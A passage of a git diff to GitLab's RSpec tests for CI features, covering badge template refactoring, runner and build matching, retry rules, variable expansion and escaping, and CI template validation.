+ subject.set_section_duration(75)
- expect(subject.section_duration).to eq('01:15')
+ expect(subject.section_duration).to eq('01:15')
+ end
+ end
+
+ context 'with default timezone' do
+ it_behaves_like 'set_section_duration'
+ end
+
+ context 'with a timezone carrying minutes offset' do
+ before do
+ # The actual call by does use Time.at(...).utc that the following
+ # rubocop rule (Rails/TimeZone) suggests, but for this specific
+ # test's purposes we needed to mock at the Time.at call point.
+
+ # rubocop:disable Rails/TimeZone
+ allow(Time).to receive(:at).with(75).and_return(Time.at(75, in: '+05:30'))
+ # rubocop:enable Rails/TimeZone
+ end
+
+ it_behaves_like 'set_section_duration'
end
end
diff --git a/spec/lib/gitlab/ci/badge/coverage/template_spec.rb b/spec/lib/gitlab/ci/badge/coverage/template_spec.rb
index f010d1bce50..b03ca3c93ca 100644
--- a/spec/lib/gitlab/ci/badge/coverage/template_spec.rb
+++ b/spec/lib/gitlab/ci/badge/coverage/template_spec.rb
@@ -6,31 +6,7 @@ RSpec.describe Gitlab::Ci::Badge::Coverage::Template do
let(:badge) { double(entity: 'coverage', status: 90.00, customization: {}) }
let(:template) { described_class.new(badge) }
- describe '#key_text' do
- it 'says coverage by default' do
- expect(template.key_text).to eq 'coverage'
- end
-
- context 'when custom key_text is defined' do
- before do
- allow(badge).to receive(:customization).and_return({ key_text: "custom text" })
- end
-
- it 'returns custom value' do
- expect(template.key_text).to eq "custom text"
- end
-
- context 'when its size is larger than the max allowed value' do
- before do
- allow(badge).to receive(:customization).and_return({ key_text: 't' * 65 })
- end
-
- it 'returns default value' do
- expect(template.key_text).to eq 'coverage'
- end
- end
- end
- end
+ it_behaves_like 'a badge template', 'coverage'
describe '#value_text' do
context 'when coverage is known' do
@@ -60,32 +36,6 @@ RSpec.describe Gitlab::Ci::Badge::Coverage::Template do
end
end
- describe '#key_width' do
- it 'is fixed by default' do
- expect(template.key_width).to eq 62
- end
-
- context 'when custom key_width is defined' do
- before do
- allow(badge).to receive(:customization).and_return({ key_width: 101 })
- end
-
- it 'returns custom value' do
- expect(template.key_width).to eq 101
- end
-
- context 'when it is larger than the max allowed value' do
- before do
- allow(badge).to receive(:customization).and_return({ key_width: 513 })
- end
-
- it 'returns default value' do
- expect(template.key_width).to eq 62
- end
- end
- end
- end
-
describe '#value_width' do
context 'when coverage is known' do
it 'is narrower when coverage is known' do
diff --git a/spec/lib/gitlab/ci/badge/pipeline/template_spec.rb b/spec/lib/gitlab/ci/badge/pipeline/template_spec.rb
index 696bb62b4d6..9392ccef147 100644
--- a/spec/lib/gitlab/ci/badge/pipeline/template_spec.rb
+++ b/spec/lib/gitlab/ci/badge/pipeline/template_spec.rb
@@ -6,31 +6,7 @@ RSpec.describe Gitlab::Ci::Badge::Pipeline::Template do
let(:badge) { double(entity: 'pipeline', status: 'success', customization: {}) }
let(:template) { described_class.new(badge) }
- describe '#key_text' do
- it 'says pipeline by default' do
- expect(template.key_text).to eq 'pipeline'
- end
-
- context 'when custom key_text is defined' do
- before do
- allow(badge).to receive(:customization).and_return({ key_text: 'custom text' })
- end
-
- it 'returns custom value' do
- expect(template.key_text).to eq 'custom text'
- end
-
- context 'when its size is larger than the max allowed value' do
- before do
- allow(badge).to receive(:customization).and_return({ key_text: 't' * 65 })
- end
-
- it 'returns default value' do
- expect(template.key_text).to eq 'pipeline'
- end
- end
- end
- end
+ it_behaves_like 'a badge template', 'pipeline'
describe '#value_text' do
it 'is status value' do
@@ -38,32 +14,6 @@ RSpec.describe Gitlab::Ci::Badge::Pipeline::Template do
end
end
- describe '#key_width' do
- it 'is fixed by default' do
- expect(template.key_width).to eq 62
- end
-
- context 'when custom key_width is defined' do
- before do
- allow(badge).to receive(:customization).and_return({ key_width: 101 })
- end
-
- it 'returns custom value' do
- expect(template.key_width).to eq 101
- end
-
- context 'when it is larger than the max allowed value' do
- before do
- allow(badge).to receive(:customization).and_return({ key_width: 513 })
- end
-
- it 'returns default value' do
- expect(template.key_width).to eq 62
- end
- end
- end
- end
-
describe 'widths and text anchors' do
it 'has fixed width and text anchors' do
expect(template.width).to eq 116
diff --git a/spec/lib/gitlab/ci/build/auto_retry_spec.rb b/spec/lib/gitlab/ci/build/auto_retry_spec.rb
index cfa8c9cd938..b107553bbce 100644
--- a/spec/lib/gitlab/ci/build/auto_retry_spec.rb
+++ b/spec/lib/gitlab/ci/build/auto_retry_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe Gitlab::Ci::Build::AutoRetry do
describe '#allowed?' do
using RSpec::Parameterized::TableSyntax
- let(:build) { create(:ci_build) }
+ let(:build) { build_stubbed(:ci_build) }
subject { auto_retry.allowed? }
@@ -22,6 +22,8 @@ RSpec.describe Gitlab::Ci::Build::AutoRetry do
"not matching reason" | 0 | { when: %w[script_error], max: 2 } | :api_failure | false
"scheduler failure override" | 1 | { when: %w[scheduler_failure], max: 1 } | :scheduler_failure | false
"default for scheduler failure" | 1 | {} | :scheduler_failure | true
+ "quota is exceeded" | 0 | { max: 2 } | :ci_quota_exceeded | false
+ "no matching runner" | 0 | { max: 2 } | :no_matching_runner | false
end
with_them do
diff --git a/spec/lib/gitlab/ci/config/entry/need_spec.rb b/spec/lib/gitlab/ci/config/entry/need_spec.rb
index a0a5dd52ad4..ab2e8d4db78 100644
--- a/spec/lib/gitlab/ci/config/entry/need_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/need_spec.rb
@@ -25,16 +25,6 @@ RSpec.describe ::Gitlab::Ci::Config::Entry::Need do
it 'returns job needs configuration' do
expect(need.value).to eq(name: 'job_name', artifacts: true, optional: false)
end
-
- context 'when the FF ci_needs_optional is disabled' do
- before do
- stub_feature_flags(ci_needs_optional: false)
- end
-
- it 'returns job needs configuration without `optional`' do
- expect(need.value).to eq(name: 'job_name', artifacts: true)
- end
- end
end
it_behaves_like 'job type'
@@ -134,16 +124,6 @@ RSpec.describe ::Gitlab::Ci::Config::Entry::Need do
it 'returns job needs configuration' do
expect(need.value).to eq(name: 'job_name', artifacts: true, optional: true)
end
-
- context 'when the FF ci_needs_optional is disabled' do
- before do
- stub_feature_flags(ci_needs_optional: false)
- end
-
- it 'returns job needs configuration without `optional`' do
- expect(need.value).to eq(name: 'job_name', artifacts: true)
- end
- end
end
end
diff --git a/spec/lib/gitlab/ci/config/entry/processable_spec.rb b/spec/lib/gitlab/ci/config/entry/processable_spec.rb
index 016d59e98b9..f98a6a869d6 100644
--- a/spec/lib/gitlab/ci/config/entry/processable_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/processable_spec.rb
@@ -271,10 +271,8 @@ RSpec.describe Gitlab::Ci::Config::Entry::Processable do
context 'when workflow rules is not used' do
let(:workflow) { double('workflow', 'has_rules?' => false) }
- let(:feature_flag_value) { true }
before do
- stub_feature_flags(ci_raise_job_rules_without_workflow_rules_warning: feature_flag_value)
entry.compose!(deps)
end
@@ -298,12 +296,6 @@ RSpec.describe Gitlab::Ci::Config::Entry::Processable do
it 'raises a warning' do
expect(entry.warnings).to contain_exactly(/may allow multiple pipelines/)
end
-
- context 'when feature flag is disabled' do
- let(:feature_flag_value) { false }
-
- it_behaves_like 'has no warnings'
- end
end
context 'and its value is `never`' do
diff --git a/spec/lib/gitlab/ci/config/entry/reports_spec.rb b/spec/lib/gitlab/ci/config/entry/reports_spec.rb
index 98105ebcd55..d8907f7015b 100644
--- a/spec/lib/gitlab/ci/config/entry/reports_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/reports_spec.rb
@@ -41,7 +41,6 @@ RSpec.describe Gitlab::Ci::Config::Entry::Reports do
:dependency_scanning | 'gl-dependency-scanning-report.json'
:container_scanning | 'gl-container-scanning-report.json'
:dast | 'gl-dast-report.json'
- :license_management | 'gl-license-management-report.json'
:license_scanning | 'gl-license-scanning-report.json'
:performance | 'performance.json'
:browser_performance | 'browser-performance.json'
diff --git a/spec/lib/gitlab/ci/jwt_spec.rb b/spec/lib/gitlab/ci/jwt_spec.rb
index 480a4a05379..b0d6f5adfb1 100644
--- a/spec/lib/gitlab/ci/jwt_spec.rb
+++ b/spec/lib/gitlab/ci/jwt_spec.rb
@@ -42,6 +42,7 @@ RSpec.describe Gitlab::Ci::Jwt do
expect(payload[:user_email]).to eq(user.email)
expect(payload[:user_login]).to eq(user.username)
expect(payload[:pipeline_id]).to eq(pipeline.id.to_s)
+ expect(payload[:pipeline_source]).to eq(pipeline.source.to_s)
expect(payload[:job_id]).to eq(build.id.to_s)
expect(payload[:ref]).to eq(pipeline.source_ref)
expect(payload[:ref_protected]).to eq(build.protected.to_s)
diff --git a/spec/lib/gitlab/ci/matching/build_matcher_spec.rb b/spec/lib/gitlab/ci/matching/build_matcher_spec.rb
new file mode 100644
index 00000000000..f12e85da9c2
--- /dev/null
+++ b/spec/lib/gitlab/ci/matching/build_matcher_spec.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+RSpec.describe Gitlab::Ci::Matching::BuildMatcher do
+ let(:dummy_attributes) do
+ {
+ protected: true,
+ tag_list: %w[tag1 tag2],
+ build_ids: [1, 2, 3],
+ project: :my_project
+ }
+ end
+
+ subject(:matcher) { described_class.new(attributes) }
+
+ describe '.new' do
+ context 'when attributes are missing' do
+ let(:attributes) { {} }
+
+ it { expect { matcher }.to raise_error(KeyError) }
+ end
+
+ context 'with attributes' do
+ let(:attributes) { dummy_attributes }
+
+ it { expect(matcher.protected).to eq(true) }
+
+ it { expect(matcher.tag_list).to eq(%w[tag1 tag2]) }
+
+ it { expect(matcher.build_ids).to eq([1, 2, 3]) }
+
+ it { expect(matcher.project).to eq(:my_project) }
+ end
+ end
+
+ describe '#protected?' do
+ context 'when protected is set to true' do
+ let(:attributes) { dummy_attributes }
+
+ it { expect(matcher.protected?).to be_truthy }
+ end
+
+ context 'when protected is set to false' do
+ let(:attributes) { dummy_attributes.merge(protected: false) }
+
+ it { expect(matcher.protected?).to be_falsey }
+ end
+ end
+
+ describe '#has_tags?' do
+ context 'when tags are present' do
+ let(:attributes) { dummy_attributes }
+
+ it { expect(matcher.has_tags?).to be_truthy }
+ end
+
+ context 'when tags are empty' do
+ let(:attributes) { dummy_attributes.merge(tag_list: []) }
+
+ it { expect(matcher.has_tags?).to be_falsey }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/matching/runner_matcher_spec.rb b/spec/lib/gitlab/ci/matching/runner_matcher_spec.rb
new file mode 100644
index 00000000000..d6492caa31a
--- /dev/null
+++ b/spec/lib/gitlab/ci/matching/runner_matcher_spec.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Matching::RunnerMatcher do
+ let(:dummy_attributes) do
+ {
+ runner_type: 'instance_type',
+ public_projects_minutes_cost_factor: 0,
+ private_projects_minutes_cost_factor: 1,
+ run_untagged: false,
+ access_level: 'ref_protected',
+ tag_list: %w[tag1 tag2]
+ }
+ end
+
+ subject(:matcher) { described_class.new(attributes) }
+
+ describe '.new' do
+ context 'when attributes are missing' do
+ let(:attributes) { {} }
+
+ it { expect { matcher }.to raise_error(KeyError) }
+ end
+
+ context 'with attributes' do
+ let(:attributes) { dummy_attributes }
+
+ it { expect(matcher.runner_type).to eq('instance_type') }
+
+ it { expect(matcher.public_projects_minutes_cost_factor).to eq(0) }
+
+ it { expect(matcher.private_projects_minutes_cost_factor).to eq(1) }
+
+ it { expect(matcher.run_untagged).to eq(false) }
+
+ it { expect(matcher.access_level).to eq('ref_protected') }
+
+ it { expect(matcher.tag_list).to eq(%w[tag1 tag2]) }
+ end
+ end
+
+ describe '#instance_type?' do
+ let(:attributes) { dummy_attributes }
+
+ it { expect(matcher.instance_type?).to be_truthy }
+
+ context 'context with private runners' do
+ let(:attributes) { dummy_attributes.merge(runner_type: 'project_type') }
+
+ it { expect(matcher.instance_type?).to be_falsey }
+ end
+ end
+
+ describe '#matches?' do
+ let(:build) { build_stubbed(:ci_build, build_attributes) }
+ let(:runner_matcher) { described_class.new(dummy_attributes.merge(runner_attributes)) }
+
+ subject { runner_matcher.matches?(record) }
+
+ context 'with an instance of BuildMatcher' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:ref_protected, :build_protected, :run_untagged, :runner_tags, :build_tags, :result) do
+ # the `ref_protected? && !build.protected?` part:
+ true | true | true | [] | [] | true
+ true | false | true | [] | [] | false
+ false | true | true | [] | [] | true
+ false | false | true | [] | [] | true
+ # `accepting_tags?(build)` bit:
+ true | true | true | [] | [] | true
+ true | true | true | [] | ['a'] | false
+ true | true | true | %w[a b] | ['a'] | true
+ true | true | true | ['a'] | %w[a b] | false
+ true | true | true | ['a'] | ['a'] | true
+ true | true | false | ['a'] | ['a'] | true
+ true | true | false | ['b'] | ['a'] | false
+ true | true | false | %w[a b] | ['a'] | true
+ end
+
+ with_them do
+ let(:build_attributes) do
+ {
+ tag_list: build_tags,
+ protected: build_protected
+ }
+ end
+
+ let(:runner_attributes) do
+ {
+ access_level: ref_protected ? 'ref_protected' : 'not_protected',
+ run_untagged: run_untagged,
+ tag_list: runner_tags
+ }
+ end
+
+ let(:record) { build.build_matcher }
+
+ it { is_expected.to eq(result) }
+ end
+ end
+
+ context 'with an instance of Ci::Build' do
+ let(:runner_attributes) { {} }
+ let(:build_attributes) { {} }
+ let(:record) { build }
+
+ it 'raises ArgumentError' do
+ expect { subject }.to raise_error ArgumentError, /BuildMatcher are allowed/
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/parsers/test/junit_spec.rb b/spec/lib/gitlab/ci/parsers/test/junit_spec.rb
index 7da602251a5..4ca8f74e57f 100644
--- a/spec/lib/gitlab/ci/parsers/test/junit_spec.rb
+++ b/spec/lib/gitlab/ci/parsers/test/junit_spec.rb
@@ -417,6 +417,30 @@ RSpec.describe Gitlab::Ci::Parsers::Test::Junit do
end
end
+ context 'when attachment is specified in test case with error' do
+ let(:junit) do
+ <<~EOF
+ <testsuites>
+ <testsuite>
+ <testcase classname='Calculator' name='sumTest1' time='0.01'>
+ <error>Some error</error>
+ <system-out>[[ATTACHMENT|some/path.png]]</system-out>
+ </testcase>
+ </testsuite>
+ </testsuites>
+ EOF
+ end
+
+ it 'assigns correct attributes to the test case' do
+ expect { subject }.not_to raise_error
+
+ expect(test_cases[0].has_attachment?).to be_truthy
+ expect(test_cases[0].attachment).to eq("some/path.png")
+
+ expect(test_cases[0].job).to eq(job)
+ end
+ end
+
private
def flattened_test_cases(test_suite)
diff --git a/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb
index e3061f8095b..16517b39a45 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Ci::Pipeline::Chain::Validate::External do
let_it_be(:project) { create(:project) }
- let_it_be(:user) { create(:user) }
+ let_it_be(:user) { create(:user, :with_sign_ins) }
let(:pipeline) { build(:ci_empty_pipeline, user: user, project: project) }
let!(:step) { described_class.new(pipeline, command) }
@@ -43,7 +43,6 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Validate::External do
end
let(:save_incompleted) { true }
- let(:dot_com) { true }
let(:command) do
Gitlab::Ci::Pipeline::Chain::Command.new(
project: project, current_user: user, yaml_processor_result: yaml_processor_result, save_incompleted: save_incompleted
@@ -57,7 +56,6 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Validate::External do
before do
stub_env('EXTERNAL_VALIDATION_SERVICE_URL', validation_service_url)
- allow(Gitlab).to receive(:com?).and_return(dot_com)
allow(Labkit::Correlation::CorrelationId).to receive(:current_id).and_return('correlation-id')
end
@@ -199,61 +197,6 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Validate::External do
end
end
- context 'when the feature flag is disabled' do
- before do
- stub_feature_flags(ci_external_validation_service: false)
- stub_request(:post, validation_service_url)
- end
-
- it 'does not drop the pipeline' do
- perform!
-
- expect(pipeline.status).not_to eq('failed')
- expect(pipeline.errors).to be_empty
- end
-
- it 'does not break the chain' do
- perform!
-
- expect(step.break?).to be false
- end
-
- it 'does not make requests' do
- perform!
-
- expect(WebMock).not_to have_requested(:post, validation_service_url)
- end
- end
-
- context 'when not on .com' do
- let(:dot_com) { false }
-
- before do
- stub_feature_flags(ci_external_validation_service: false)
- stub_request(:post, validation_service_url).to_return(status: 404, body: "{}")
- end
-
- it 'drops the pipeline' do
- perform!
-
- expect(pipeline.status).to eq('failed')
- expect(pipeline).to be_persisted
- expect(pipeline.errors.to_a).to include('External validation failed')
- end
-
- it 'breaks the chain' do
- perform!
-
- expect(step.break?).to be true
- end
-
- it 'logs the authorization' do
- expect(Gitlab::AppLogger).to receive(:info).with(message: 'Pipeline not authorized', project_id: project.id, user_id: user.id)
-
- perform!
- end
- end
-
context 'when validation returns 406 Not Acceptable' do
before do
stub_request(:post, validation_service_url).to_return(status: 406, body: "{}")
diff --git a/spec/lib/gitlab/ci/pipeline/preloader_spec.rb b/spec/lib/gitlab/ci/pipeline/preloader_spec.rb
index ae423fa04f9..5b644e42451 100644
--- a/spec/lib/gitlab/ci/pipeline/preloader_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/preloader_spec.rb
@@ -5,9 +5,11 @@ require 'spec_helper'
RSpec.describe Gitlab::Ci::Pipeline::Preloader do
let(:stage) { double(:stage) }
let(:commit) { double(:commit) }
+ let(:scheduled_action) { double(:scheduled_action) }
+ let(:manual_action) { double(:manual_action) }
let(:pipeline) do
- double(:pipeline, commit: commit, stages: [stage])
+ double(:pipeline, commit: commit, stages: [stage], scheduled_actions: [scheduled_action], manual_actions: [manual_action])
end
describe '.preload!' do
@@ -33,6 +35,8 @@ RSpec.describe Gitlab::Ci::Pipeline::Preloader do
expect(pipeline).to receive(:lazy_ref_commit)
expect(pipeline).to receive(:number_of_warnings)
expect(stage).to receive(:number_of_warnings)
+ expect(scheduled_action).to receive(:persisted_environment)
+ expect(manual_action).to receive(:persisted_environment)
described_class.preload!([pipeline])
end
@@ -42,6 +46,8 @@ RSpec.describe Gitlab::Ci::Pipeline::Preloader do
allow(pipeline).to receive(:lazy_ref_commit)
allow(pipeline).to receive(:number_of_warnings)
allow(stage).to receive(:number_of_warnings)
+ allow(scheduled_action).to receive(:persisted_environment)
+ allow(manual_action).to receive(:persisted_environment)
pipelines = [pipeline, pipeline]
diff --git a/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb b/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
index 058fb25807d..020f957cf70 100644
--- a/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
@@ -1101,17 +1101,6 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
it "does not return an error" do
expect(subject.errors).to be_empty
end
-
- context 'when the FF ci_needs_optional is disabled' do
- before do
- stub_feature_flags(ci_needs_optional: false)
- end
-
- it "returns an error" do
- expect(subject.errors).to contain_exactly(
- "'rspec' job needs 'build' job, but it was not added to the pipeline")
- end
- end
end
end
diff --git a/spec/lib/gitlab/ci/pipeline/seed/environment_spec.rb b/spec/lib/gitlab/ci/pipeline/seed/environment_spec.rb
index 175b12637e6..ad89f1f5cda 100644
--- a/spec/lib/gitlab/ci/pipeline/seed/environment_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/seed/environment_spec.rb
@@ -128,7 +128,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Environment do
context 'when environment has already been created' do
before do
- create(:environment, :staging, project: project, name: 'customer-portal')
+ create(:environment, project: project, name: 'customer-portal', tier: :staging)
end
it 'does not overwrite the specified deployment tier' do
diff --git a/spec/lib/gitlab/ci/templates/npm_spec.rb b/spec/lib/gitlab/ci/templates/npm_spec.rb
index b10e2b0e057..2456c9ae545 100644
--- a/spec/lib/gitlab/ci/templates/npm_spec.rb
+++ b/spec/lib/gitlab/ci/templates/npm_spec.rb
@@ -2,8 +2,8 @@
require 'spec_helper'
-RSpec.describe 'npm.latest.gitlab-ci.yml' do
- subject(:template) { Gitlab::Template::GitlabCiYmlTemplate.find('npm.latest') }
+RSpec.describe 'npm.gitlab-ci.yml' do
+ subject(:template) { Gitlab::Template::GitlabCiYmlTemplate.find('npm') }
describe 'the created pipeline' do
let(:repo_files) { { 'package.json' => '{}', 'README.md' => '' } }
diff --git a/spec/lib/gitlab/ci/templates/templates_spec.rb b/spec/lib/gitlab/ci/templates/templates_spec.rb
index 56443e611e8..2e6df7da232 100644
--- a/spec/lib/gitlab/ci/templates/templates_spec.rb
+++ b/spec/lib/gitlab/ci/templates/templates_spec.rb
@@ -6,26 +6,105 @@ RSpec.describe 'CI YML Templates' do
subject { Gitlab::Ci::YamlProcessor.new(content).execute }
let(:all_templates) { Gitlab::Template::GitlabCiYmlTemplate.all.map(&:full_name) }
-
let(:excluded_templates) do
- all_templates.select do |name|
+ excluded = all_templates.select do |name|
Gitlab::Template::GitlabCiYmlTemplate.excluded_patterns.any? { |pattern| pattern.match?(name) }
end
+ excluded + ["Terraform.gitlab-ci.yml"]
end
- context 'when including available templates in a CI YAML configuration' do
- using RSpec::Parameterized::TableSyntax
+ before do
+ stub_feature_flags(
+ redirect_to_latest_template_terraform: false,
+ redirect_to_latest_template_security_api_fuzzing: false,
+ redirect_to_latest_template_security_dast: false)
+ end
- where(:template_name) do
- all_templates - excluded_templates
+ shared_examples 'require default stages to be included' do
+ it 'require default stages to be included' do
+ expect(subject.stages).to include(*Gitlab::Ci::Config::Entry::Stages.default)
end
+ end
+
+ context 'that support autodevops' do
+ non_autodevops_templates = [
+ 'Security/DAST-API.gitlab-ci.yml',
+ 'Security/API-Fuzzing.gitlab-ci.yml'
+ ]
+
+ context 'when including available templates in a CI YAML configuration' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:template_name) do
+ all_templates - excluded_templates - non_autodevops_templates
+ end
+
+ with_them do
+ let(:content) do
+ <<~EOS
+ include:
+ - template: #{template_name}
+
+ concrete_build_implemented_by_a_user:
+ stage: test
+ script: do something
+ EOS
+ end
+
+ it { is_expected.to be_valid }
+
+ include_examples 'require default stages to be included'
+ end
+ end
+
+ context 'when including unavailable templates in a CI YAML configuration' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:template_name) do
+ excluded_templates
+ end
+
+ with_them do
+ let(:content) do
+ <<~EOS
+ include:
+ - template: #{template_name}
+
+ concrete_build_implemented_by_a_user:
+ stage: test
+ script: do something
+ EOS
+ end
+
+ it { is_expected.not_to be_valid }
+ end
+ end
+ end
+
+ describe 'that do not support autodevops' do
+ context 'when DAST API template' do
+ # The DAST API template purposly excludes a stages
+ # definition.
- with_them do
- let(:content) do
- if template_name == 'Security/DAST-API.gitlab-ci.yml'
- # The DAST-API template purposly excludes a stages
- # definition.
+ let(:template_name) { 'Security/DAST-API.gitlab-ci.yml' }
+ context 'with default stages' do
+ let(:content) do
+ <<~EOS
+ include:
+ - template: #{template_name}
+
+ concrete_build_implemented_by_a_user:
+ stage: test
+ script: do something
+ EOS
+ end
+
+ it { is_expected.not_to be_valid }
+ end
+
+ context 'with defined stages' do
+ let(:content) do
<<~EOS
include:
- template: #{template_name}
@@ -40,7 +119,22 @@ RSpec.describe 'CI YML Templates' do
stage: test
script: do something
EOS
- else
+ end
+
+ it { is_expected.to be_valid }
+
+ include_examples 'require default stages to be included'
+ end
+ end
+
+ context 'when API Fuzzing template' do
+ # The API Fuzzing template purposly excludes a stages
+ # definition.
+
+ let(:template_name) { 'Security/API-Fuzzing.gitlab-ci.yml' }
+
+ context 'with default stages' do
+ let(:content) do
<<~EOS
include:
- template: #{template_name}
@@ -50,39 +144,31 @@ RSpec.describe 'CI YML Templates' do
script: do something
EOS
end
- end
-
- it 'is valid' do
- expect(subject).to be_valid
- end
- it 'require default stages to be included' do
- expect(subject.stages).to include(*Gitlab::Ci::Config::Entry::Stages.default)
+ it { is_expected.not_to be_valid }
end
- end
- end
- context 'when including unavailable templates in a CI YAML configuration' do
- using RSpec::Parameterized::TableSyntax
+ context 'with defined stages' do
+ let(:content) do
+ <<~EOS
+ include:
+ - template: #{template_name}
- where(:template_name) do
- excluded_templates
- end
+ stages:
+ - build
+ - test
+ - deploy
+ - fuzz
- with_them do
- let(:content) do
- <<~EOS
- include:
- - template: #{template_name}
+ concrete_build_implemented_by_a_user:
+ stage: test
+ script: do something
+ EOS
+ end
- concrete_build_implemented_by_a_user:
- stage: test
- script: do something
- EOS
- end
+ it { is_expected.to be_valid }
- it 'is not valid' do
- expect(subject).not_to be_valid
+ include_examples 'require default stages to be included'
end
end
end
diff --git a/spec/lib/gitlab/ci/trace/chunked_io_spec.rb b/spec/lib/gitlab/ci/trace/chunked_io_spec.rb
index f878d24fe4b..63625244fe8 100644
--- a/spec/lib/gitlab/ci/trace/chunked_io_spec.rb
+++ b/spec/lib/gitlab/ci/trace/chunked_io_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe Gitlab::Ci::Trace::ChunkedIO, :clean_gitlab_redis_cache do
let(:chunked_io) { described_class.new(build) }
before do
- stub_feature_flags(ci_enable_live_trace: true, gitlab_ci_trace_read_consistency: true)
+ stub_feature_flags(ci_enable_live_trace: true)
end
describe "#initialize" do
diff --git a/spec/lib/gitlab/ci/variables/collection/item_spec.rb b/spec/lib/gitlab/ci/variables/collection/item_spec.rb
index ca9dc95711d..9443bf6d6d5 100644
--- a/spec/lib/gitlab/ci/variables/collection/item_spec.rb
+++ b/spec/lib/gitlab/ci/variables/collection/item_spec.rb
@@ -70,6 +70,43 @@ RSpec.describe Gitlab::Ci::Variables::Collection::Item do
end
end
+ describe '.possible_var_reference?' do
+ context 'table tests' do
+ using RSpec::Parameterized::TableSyntax
+
+ where do
+ {
+ "empty value": {
+ value: '',
+ result: false
+ },
+ "normal value": {
+ value: 'some value',
+ result: false
+ },
+ "simple expansions": {
+ value: 'key$variable',
+ result: true
+ },
+ "complex expansions": {
+ value: 'key${variable}${variable2}',
+ result: true
+ },
+ "complex expansions for Windows": {
+ value: 'key%variable%%variable2%',
+ result: true
+ }
+ }
+ end
+
+ with_them do
+ subject { Gitlab::Ci::Variables::Collection::Item.possible_var_reference?(value) }
+
+ it { is_expected.to eq(result) }
+ end
+ end
+ end
+
describe '#depends_on' do
let(:item) { Gitlab::Ci::Variables::Collection::Item.new(**variable) }
@@ -128,7 +165,7 @@ RSpec.describe Gitlab::Ci::Variables::Collection::Item do
end
it 'supports using an active record resource' do
- variable = create(:ci_variable, key: 'CI_VAR', value: '123')
+ variable = build(:ci_variable, key: 'CI_VAR', value: '123')
resource = described_class.fabricate(variable)
expect(resource).to be_a(described_class)
diff --git a/spec/lib/gitlab/ci/variables/collection/sort_spec.rb b/spec/lib/gitlab/ci/variables/collection/sort_spec.rb
index 73cf0e19d00..01eef673c35 100644
--- a/spec/lib/gitlab/ci/variables/collection/sort_spec.rb
+++ b/spec/lib/gitlab/ci/variables/collection/sort_spec.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true
-require 'spec_helper'
+require 'fast_spec_helper'
+require 'rspec-parameterized'
RSpec.describe Gitlab::Ci::Variables::Collection::Sort do
describe '#initialize with non-Collection value' do
@@ -57,9 +58,9 @@ RSpec.describe Gitlab::Ci::Variables::Collection::Sort do
},
"variable containing escaped variable reference": {
variables: [
- { key: 'variable_a', value: 'value' },
{ key: 'variable_b', value: '$$variable_a' },
- { key: 'variable_c', value: '$variable_b' }
+ { key: 'variable_c', value: '$variable_a' },
+ { key: 'variable_a', value: 'value' }
],
expected_errors: nil
}
@@ -144,11 +145,11 @@ RSpec.describe Gitlab::Ci::Variables::Collection::Sort do
},
"variable containing escaped variable reference": {
variables: [
- { key: 'variable_c', value: '$variable_b' },
{ key: 'variable_b', value: '$$variable_a' },
+ { key: 'variable_c', value: '$variable_a' },
{ key: 'variable_a', value: 'value' }
],
- result: %w[variable_a variable_b variable_c]
+ result: %w[variable_b variable_a variable_c]
}
}
end
diff --git a/spec/lib/gitlab/ci/variables/collection_spec.rb b/spec/lib/gitlab/ci/variables/collection_spec.rb
index 7b77754190a..abda27f0d6e 100644
--- a/spec/lib/gitlab/ci/variables/collection_spec.rb
+++ b/spec/lib/gitlab/ci/variables/collection_spec.rb
@@ -44,6 +44,30 @@ RSpec.describe Gitlab::Ci::Variables::Collection do
end
end
+ describe '#compact' do
+ subject do
+ described_class.new
+ .append(key: 'STRING', value: 'string')
+ .append(key: 'NIL', value: nil)
+ .append(key: nil, value: 'string')
+ end
+
+ it 'returns a new Collection instance', :aggregate_failures do
+ collection = subject.compact
+
+ expect(collection).to be_an_instance_of(described_class)
+ expect(collection).not_to eql(subject)
+ end
+
+ it 'rejects pair that has nil value', :aggregate_failures do
+ collection = subject.compact
+
+ expect(collection).not_to include(key: 'NIL', value: nil, public: true)
+ expect(collection).to include(key: 'STRING', value: 'string', public: true)
+ expect(collection).to include(key: nil, value: 'string', public: true)
+ end
+ end
+
describe '#concat' do
it 'appends all elements from an array' do
collection = described_class.new([{ key: 'VAR_1', value: '1' }])
@@ -229,6 +253,11 @@ RSpec.describe Gitlab::Ci::Variables::Collection do
value: 'key${MISSING_VAR}-${CI_JOB_NAME}',
result: 'key${MISSING_VAR}-test-1',
keep_undefined: true
+ },
+ "escaped characters are kept intact": {
+ value: 'key-$TEST1-%%HOME%%-$${HOME}',
+ result: 'key-test-3-%%HOME%%-$${HOME}',
+ keep_undefined: false
}
}
end
@@ -291,6 +320,14 @@ RSpec.describe Gitlab::Ci::Variables::Collection do
],
keep_undefined: false
},
+ "escaped characters in complex expansions are kept intact": {
+ variables: [
